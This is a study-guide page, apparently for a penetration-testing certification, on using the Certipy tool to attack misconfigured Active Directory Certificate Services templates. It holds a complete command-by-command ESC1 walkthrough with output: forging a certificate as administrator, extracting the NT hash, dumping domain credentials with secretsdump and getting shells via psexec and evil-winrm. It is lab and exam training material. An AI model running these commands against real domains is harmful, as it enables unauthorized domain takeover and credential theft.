Certipy
Active Directory Certificate Services (AD CS) attack tool. Finds and exploits misconfigured certificate templates to escalate privileges, often straight to Domain Admin.
What is it?
Certipy is a Python tool that attacks Active Directory Certificate Services (AD CS): Microsoft's PKI infrastructure built into Active Directory. Think of AD CS as the system that issues digital certificates within a domain, similar to how Let's Encrypt issues certificates for websites, but for internal services, users, and computers.
Here's why it matters: when an organization sets up AD CS, they create certificate templates that define who can request certificates and what those certificates can do. If a template is misconfigured, and they often are, because the defaults are insecure, an attacker can request a certificate as any user in the domain, including Domain Admin.
The certificate acts as proof of identity. Once you have a certificate for the Domain Admin account, you can use it to authenticate and get that account's NTLM hash, no password cracking needed.
How AD CS works (simplified)
- A Certificate Authority (CA) server is set up in the domain (usually on a DC or dedicated server)
- Admins create certificate templates that define: who can request certs, what EKUs (Extended Key Usages) the cert has, and how the subject (identity) is determined
- Users/computers request certificates from the CA based on these templates
- The CA issues the certificate, which can then be used for authentication (like a Kerberos ticket but longer-lived)
The vulnerability classes are called ESC1 through ESC13+ (Escalation scenarios). Each one exploits a different misconfiguration in how templates or the CA itself is set up.
Run this first
certipy find enumerates every template and flags the ones with a known misconfiguration (an ESC).
$ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
-vulnerableshows only templates with a known issue. Without it, find lists every template, which is a lot of noise.-stdoutprints straight to the terminal instead of writing files.
AD CS can exist even with no web page on ports 80 or 443, since enrollment can be RPC-only, so run this even when you see nothing obvious. A flagged template like ESC1 means certipy req can get you a certificate for a privileged account.
What does it do?
Certipy has four main capabilities:
| Command | Purpose |
|---|---|
certipy find | Enumerates all CAs and certificate templates, checks for known ESC vulnerabilities, outputs a report |
certipy req | Requests a certificate from the CA using a specific template, this is the exploitation step |
certipy auth | Uses a certificate (.pfx) to authenticate and retrieve the user's NTLM hash via PKINIT |
certipy ca | Manages the CA itself: can approve pending requests, add/remove officers |
The typical output from certipy find is a text/JSON report listing every template, its permissions, and which ESC vulnerability it's affected by. This is the most important output, it tells you exactly what to attack.
When do you use it?
You use certipy in the post-compromise enumeration phase: after you already have domain credentials (even low-privileged ones). It's one of the first things to check once you have a foothold in an AD environment.
Typical scenario:
- You've compromised a domain user (any user, doesn't need to be admin)
- You run
certipy findto check if AD CS exists and if any templates are vulnerable - If a vulnerable template is found, you exploit it to get a certificate as a privileged user
- You use the certificate to get that user's hash and take over the domain
In a CPTS exam context: run certipy find early in your AD enumeration, right alongside BloodHound. AD CS misconfigs are increasingly common in HTB labs and exams because they're realistic, real-world AD environments have this issue constantly.
How do you spot it?
You need to recognize when AD CS exists in the environment and when to reach for certipy.
- Port 80/443 open on a DC or server: the Certificate Authority web enrollment page runs on HTTP/HTTPS
- Nmap shows "Microsoft Windows CE" or "certsrv": the CA web interface
- BloodHound shows "ADCS" nodes: if you imported SharpHound data, look for CA servers
certutil -config - -pingon a Windows box returns a CA name, AD CS is active- LDAP enumeration reveals
CN=Public Key Services,CN=Services,CN=Configurationobjects - Port 135 + high RPC ports on a server named something like
CA01,YOURORG-CA,PKI
- You have any domain credentials (even a basic user)
- BloodHound shows limited escalation paths, certipy might reveal one BloodHound doesn't know about
- You see port 80/443 on any domain-joined server
- You're stuck after initial enumeration, AD CS is often the overlooked path
Even if you don't see obvious signs of AD CS, still run certipy find. It's fast, non-destructive, and AD CS is installed by default in many enterprise setups. The find command queries LDAP, it doesn't need to reach the CA's web interface.
How do you use it?
Step 1: Find vulnerable templates
This is always your first certipy command. It queries LDAP for all certificate templates and checks each one against known escalation scenarios.
# Basic find: outputs text and JSON reports $ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 # Print only vulnerable templates straight to the terminal (easiest to read in an exam) $ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout # Find using a hash instead of password (pass-the-hash) $ certipy find -u user@domain.local -hashes :a1b2c3d4e5f6... -dc-ip 10.10.10.10 # Find with verbose output to see all templates, not just vulnerable ones $ certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
The output file (e.g., 20241115_Certipy.txt) will list each template with a verdict. Look for lines like:
Certificate Templates 0 Template Name : VulnerableTemplate Display Name : Vulnerable Template Enabled : True Client Authentication : True Enrollee Supplies Subject : True <-- THIS IS THE KEY FLAG Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : None Authorized Signatures Required : 0 Permissions Enrollment Permissions Enrollment Rights : Domain Users <-- ANY DOMAIN USER CAN ENROLL [!] Vulnerabilities ESC1 : 'Domain Users' can enroll, enrollee supplies subject and template allows client authentication
Step 2: Exploit (example: ESC1)
ESC1 is the most common and straightforward: the template lets the requester specify WHO the certificate is for. So you request a certificate as Domain Admin.
# Request a certificate as administrator using the vulnerable template $ certipy req -u user@domain.local -p 'Password123' \ -ca 'domain-DC01-CA' \ -template 'VulnerableTemplate' \ -upn administrator@domain.local \ -dc-ip 10.10.10.10 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 15 [*] Got certificate with UPN 'administrator@domain.local' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
Key flags explained:
-ca: the Certificate Authority name (from thefindoutput, listed as "CA Name")-template: the vulnerable template name (exact name from the find output)-upn: the User Principal Name you want the certificate for (the target account)
Step 3: Authenticate with the certificate
Now turn the .pfx certificate into an NTLM hash you can use for pass-the-hash.
# Authenticate with the certificate to get the NT hash $ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@domain.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@domain.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
You now have the Domain Admin hash. Use it with psexec, wmiexec, or evil-winrm for a shell:
$ impacket-psexec domain.local/administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe
Other ESC scenarios (quick reference)
| ESC | What's wrong | How to exploit |
|---|---|---|
| ESC1 | Enrollee supplies subject + client auth + low-priv can enroll | certipy req -upn administrator@... |
| ESC2 | Template allows "Any Purpose" or no EKU restriction | Same as ESC1 but with SubCA template |
| ESC3 | Enrollment agent template: allows requesting certs on behalf of others | Two-step: get agent cert, then request as admin |
| ESC4 | Low-priv user has write access to a template's ACL | Modify template to be ESC1-vulnerable, then exploit |
| ESC6 | CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag: SAN can be specified in any request | certipy req -ca ... -template User -upn admin@... |
| ESC7 | Low-priv user is CA manager (ManageCA permission) | Approve your own pending cert requests |
| ESC8 | Web enrollment (HTTP) endpoint vulnerable to NTLM relay | Relay with ntlmrelayx to the /certsrv endpoint |
| ESC9/10 | Mapping issues: strong mapping not enforced | Modify another user's UPN/dNSHostName, request cert |
| ESC11 | RPC enrollment without encryption (ICertPassage) | Relay RPC to the CA |
What do you do with the output?
After certipy find
- Check for ESC1-ESC11 flags: these are your attack vectors
- Note the CA name: you'll need it for the
reqcommand (format:domain-HOSTNAME-CA) - Note which groups can enroll: if it says "Domain Users", you're golden
- Read the output next to BloodHound: Certipy 5.x writes text, JSON and CSV (
-text,-json,-csv,-stdout) and no longer exports BloodHound data, so compare its findings with the ADCS nodes in BloodHound by hand. Older releases had a BloodHound export flag; runcertipy find -hon your version
After certipy req
- You get a
.pfxfile: this is the certificate + private key - If it says "pending" (ESC7 scenario), you need to approve it:
certipy ca -ca 'CA-NAME' -approve-request <ID> - Feed the .pfx to
certipy authto get the hash
After certipy auth
- You get a
.ccachefile (Kerberos ticket) and the NT hash - Use the hash with psexec, wmiexec, evil-winrm, or secretsdump
- Or use the ccache with
export KRB5CCNAME=administrator.ccacheand then use-k -no-passwith impacket tools
Common mistakes
- Clock skew: Kerberos is time-sensitive. If the
authstep fails with "clock skew too great", sync your clock:sudo ntpdate <DC_IP> - Wrong CA name: The CA name must be exact. Copy it from the
findoutput: it's case-sensitive and usually formatted likedomain-HOSTNAME-CA - DNS resolution:
certipy authneeds to resolve the domain name. Add the DC to/etc/hostsor use-dc-ip - Forgetting
-vulnerable: Without this flag,findshows ALL templates. With it, only vulnerable ones. Use-vulnerableto cut the noise - Assuming no AD CS: Just because you don't see port 80/443 on the DC doesn't mean AD CS isn't there. The enrollment can be RPC-only (no web interface). Always run
certipy find - Not checking ESC8: If there IS a web enrollment page (port 80/443 with
/certsrv), check if it allows NTLM auth, that's vulnerable to relay attacks
Before running certipy auth, always sync: sudo ntpdate -u <DC_IP> or sudo timedatectl set-ntp off && sudo date -s "$(curl -sI http://<DC_IP> | grep -i date | cut -d' ' -f2-)"
Real-world attack flow
Here's a complete ESC1 attack from start to finish, the way you'd actually do it during CPTS:
# 1. Enumerate: find vulnerable templates $ certipy find -u j.smith@corp.local -p 'Spring2024!' -dc-ip 10.10.10.10 -vulnerable [*] Finding certificate templates [*] Found 3 enabled certificate templates [!] VulnTemplate has ESC1, Domain Users can enroll, enrollee supplies subject # 2. Exploit: request cert as Domain Admin $ certipy req -u j.smith@corp.local -p 'Spring2024!' \ -ca 'corp-DC01-CA' \ -template 'VulnTemplate' \ -upn administrator@corp.local \ -dc-ip 10.10.10.10 [*] Got certificate with UPN 'administrator@corp.local' [*] Saved certificate and private key to 'administrator.pfx' # 3. Sync clock (important!) $ sudo ntpdate -u 10.10.10.10 # 4. Authenticate: get the hash $ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe # 5. Use the hash, DCSync the entire domain $ impacket-secretsdump corp.local/administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe -just-dc # Or get a shell $ evil-winrm -i 10.10.10.10 -u administrator -H 2b576acbe6bcfda7294d6bd18041b8fe
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
Port 80 and 443 are closed on the DC. Is AD CS definitely not in use?
certipy find.Why add -vulnerable to the find command?
Authentication with a certipy-issued certificate fails with "clock skew too great". What is wrong, and how do you fix it?
sudo ntpdate <DC_IP>.The CA name you pass to certipy req does not work. What is the likely mistake?
domain-HOSTNAME-CA. Copy it straight from the find output rather than typing it.